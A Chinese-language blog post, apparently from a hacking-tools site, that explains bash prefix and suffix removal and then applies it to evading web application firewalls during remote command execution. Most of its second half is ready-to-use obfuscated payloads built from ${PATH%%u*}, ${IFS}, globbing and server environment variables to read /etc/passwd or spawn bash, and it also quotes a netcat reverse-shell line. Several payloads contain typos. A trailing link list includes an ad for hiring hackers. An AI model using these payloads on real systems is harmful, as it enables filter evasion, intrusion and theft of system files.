使用删除前移和后缀模式bypass waf

访客4年前黑客工具1336

一、删除前缀和后缀模式

删除前缀和后缀模式(Remove Prefix and Suffix Pattern),是一种可以通过在变量名称中使用%,%%,#或##从左或从右开始删除一部分变量值的方式,我们可以做以下一些例子。

{parameter%word}删除最小后缀模式。后缀的最小的与模式匹配部分将被删除。

TEST="test.baidu.com"; echo ${TEST%.*}

{parameter %% word}删除更大后缀模式。后缀的更大部分与模式所匹配的部分将被删除。

TEST="test.baidu.com"; echo ${TEST%%.*}

1616590455_605b3677e85c7a4dde293.png!small?1616590455416

$ {parameter#word}删除最小前缀模式。删除与模式匹配的前缀的最小部分。

TEST="test.baidu.com"; echo ${TEST#*.}

1616590665_605b3749915c900e41a89.png!small?1616590665097

$ {parameter ## word}删除更大前缀模式。前缀的更大部分与模式所匹配的参数将被删除。

TEST="test.baidu.com"; echo ${TEST##*.}

1616590840_605b37f8b3172ba65d083.png!small?1616590840147

更多的此语法的用例之一是更改文件名列表上的扩展名。例如,如果我想重命名/etc中的所有*.conf文件,将其扩展名更改为.txt,那么可以使用下面的命令。

for file in $(ls -1 /etc/*.conf); do echo ${file%.*}.txt; done

1616591169_605b3941f0832bd470d28.png!small?1616591169617

二、bypass实例

通常来说,Web应用程序容易受到远程命令执行漏洞的影响,但是有一个Input Validation函数可以防止发送带有特殊字符例如使用带有类似/"'&|()-;:.,\s `] 的payload以及bash,SH,NC,bas64等常见的Unix命令的如果目标web应用程序允许字符?,,和?,那么有很多 *** 可以bypass并利用RCE。

通常,以下的payload都会被拦截

cat+/etc/passwd      (匹配 \s 和 /)
/bin/ca?+/e/ss     (匹配 \s 和 /)
cd${IFS}/etc;cat${IFS}passwd       (匹配 /)
nc+-e+/bin/sh+10.0.0.1+1234       (匹配 \s - / 和 .)

所以,是否有可能创建不需要像正斜杠,引号之类的字符并且不使用众所周知的Unix命令触发WAF的拦截规则呢?

这里想到,如果要代替使用/字符,我们可以通过使用子字符串0:1从变量的值中获取它(类似于Bash)

1616591838_605b3bdebb359270d7bba.png!small?1616591838487

在上图中,将/etc/passwd的完整路径替换为。但实际上PHP的shell通常是Dash(或/ bin / sh)。而在Dash中我们无法这样执行命令。

那么我们可以使用删除前移和后缀模式语法来代替使用子字符串,这样在目标变量里

等于 /
等于 /bin
等于 /

那么为了绕过waf读取/etc/passwd里的内容,我们可以使用以下命令。

cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd

此语法取决于目标PATH变量的值。因此,如果/后的之一个字母是“ u”(类似于PATH=/usr/bin...,则应等于“ /”。例如,如果目标PATH以PATH=/home/kali/bin:...那么则应等于/,如下图所示。

1616594328_605b4598bae426248ac7d.png!small?1616594328373

这里还有一个问题,识别payload中的“ cat”,“ etc”和“ passwd”字符串,大部分waf会进行拦截。所以我们需要的使用Globbing模式来混淆我们的paylaod,我们需要完整的路径来执行带有/bin/c之类的glob模式的命令?而不是“cat”。我们可以用下面的 ***

执行env并查看所有变量值

从$PATH中有${PATH##*s}的替换/bin

使用$PATH与${PATH%%u*}替换/

使用$IFS代替空格

或许你已经见过类似这种

/?/t   /?/ss

/?/t  /?/ps

1616593951_605b441f6a46d320d3e0d.png!small?1616593950910

1616593955_605b44231bebc35319d5b.png!small?1616593954679

那么我们可以构造更复杂的bypasspayload

{PATH##*s}${PATH%%u*}c${IFS}${PATH%%u*}e${PATH%%u*}ss

替换如下所示

{PATH##*s}        ——>               /bin
{PATH88u*}bin         ——>               /bin
{PATH##*s}$ {PATH88u*}cat        ——>                 /bin/cat        
{PATH##*s}${PATH88u*}c        ——>                 /bin/cat

则上面的bypass命令对应为

{PATH##*s} ${PATH%%u*} c  ${IFS}  ${PATH%%u*} e ${PATH%%u*} ss 
/bin / cat 空格 / etc / passwd

更多的,我们可以使用以下payload

{PATH##*s}${PATH%%u*}ca${u}t${IFS}${PATH%%u*}et${u}c${PATH%%u*}pas${u}swd

{PATH##*s}${PATH%%u*}bas${u}h${IFS}${PHP_CFLAGS%%f*}c${IFS}l${u}s

{PATH:0:1}bi?${PATH:0:1}ca?${IFS}${PATH:0:1}et?${PATH:0:1}sswd

tail${IFS}${APACHE_CONFDIR%${APACHE_CONFDIR#?}}et?${APACHE_CONFDIR%${APACHE_CONFDIR#?}}pas?wd

c${a}at${IFS}${APACHE_CONFDIR%apache2}pas${s}swd

ca${jjj}t${IFS}${APACHE_RUN_DIR%?}et${jjj}c${APACHE_RUN_DIR%?}pas${jjj}swd

c${u}at${IFS}${PHP_INI_DIR%%u*p}e${u}tc${PHP_INI_DIR%%u*p}p${u}asswd

相关文章

移动新套餐曝光 资费超冰点!

移动新套餐曝光 资费超冰点!

  自打老客户套餐内容拆换限定撤消之后,互连网套餐内容展现出飞一般的增长速度。到目前为止,中国联通与腾讯官方协作发布的联通大王卡用户数早已提升了五千万。而2017年5月,腾讯大王卡的用户数仅有2000...

中央空调原理图与结构图(图文详解)

中央空调原理图与结构图(图文详解)

什么是中央空调系统 1.空调:即空气调节器,是一种用于给空间区域进行空气处理的机组。主要是对封闭空间或区域内空气的温度、湿度、洁净度和流速等参数进行调节,以满足人体舒适或工艺流程的要求。 2.中央...

西藏尼玛县发生6.6级和4.3级地震 灾情排查无人员伤亡

中新社拉萨7月23日电 (赵朗)据中国地震台网正式测定,7月23日4时7分在西藏那曲市尼玛县发生6.6级地震,6时28分,该地又发生4.3级地震。经核实,暂未接到人员伤亡、房屋倒塌情况报告,消防救...

怎么找黑客帮忙黑客联系qq是多少钱-怎样在电脑上弄出黑客的感觉(怎样在电脑上弄出黑客的感觉?)

怎么找黑客帮忙黑客联系qq是多少钱-怎样在电脑上弄出黑客的感觉(怎样在电脑上弄出黑客的感觉?)

怎么找黑客帮忙黑客联系qq是多少钱相关问题 黑客怎么打开操作界面相关问题 黑客如何用微信昵称加好友 用手机号能入侵他人苹果手机吗(苹果手...

揭秘seo快排原理

揭秘seo快排原理

众所周知,最近几年互联网行业一直是在风口浪尖,每个站长都在不断的想办法收割流量,在互联网这个领域,当然,最值钱的也还是流量,你网站有流量哪怕你卖矿泉水都会赚到钱,这就是流量所带来的收益。而搜索引擎也一...

黑客攻防零基础(黑客入门与攻防精解)

黑客攻防零基础(黑客入门与攻防精解)

本文目录一览: 1、学习黑客需要先学习什么基础?(零基础) 2、黑客零基础入门 3、我想学网络攻防技术,(自学) 现在零基础,求如何起步,求步骤,求师傅~~ 4、关于黑客攻防的书很多,哪本...